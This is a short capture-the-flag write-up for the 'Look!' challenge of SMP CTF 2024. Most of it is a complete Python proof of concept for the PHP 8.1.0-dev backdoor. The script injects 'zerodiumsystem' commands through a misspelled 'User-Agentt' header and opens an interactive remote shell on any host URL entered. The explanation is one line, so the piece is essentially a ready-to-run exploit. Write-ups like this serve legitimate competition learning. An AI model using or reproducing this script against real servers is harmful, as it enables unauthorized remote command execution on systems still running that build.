Look! - SMP CTF 2024 - Selection Round

Posted on by pmsiam0

Hi, this is Parvez Mosharaf Siam. So, without any further delay, let's jump into the write-up.

Description:- Test Your eyes🧐. By the way PHP is the best programming language :3
Challenge Author: badhacker0x1

Challenge URL:-

image-8

There a RCE for php 8.1.0-dev

PoC:-

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")

image-9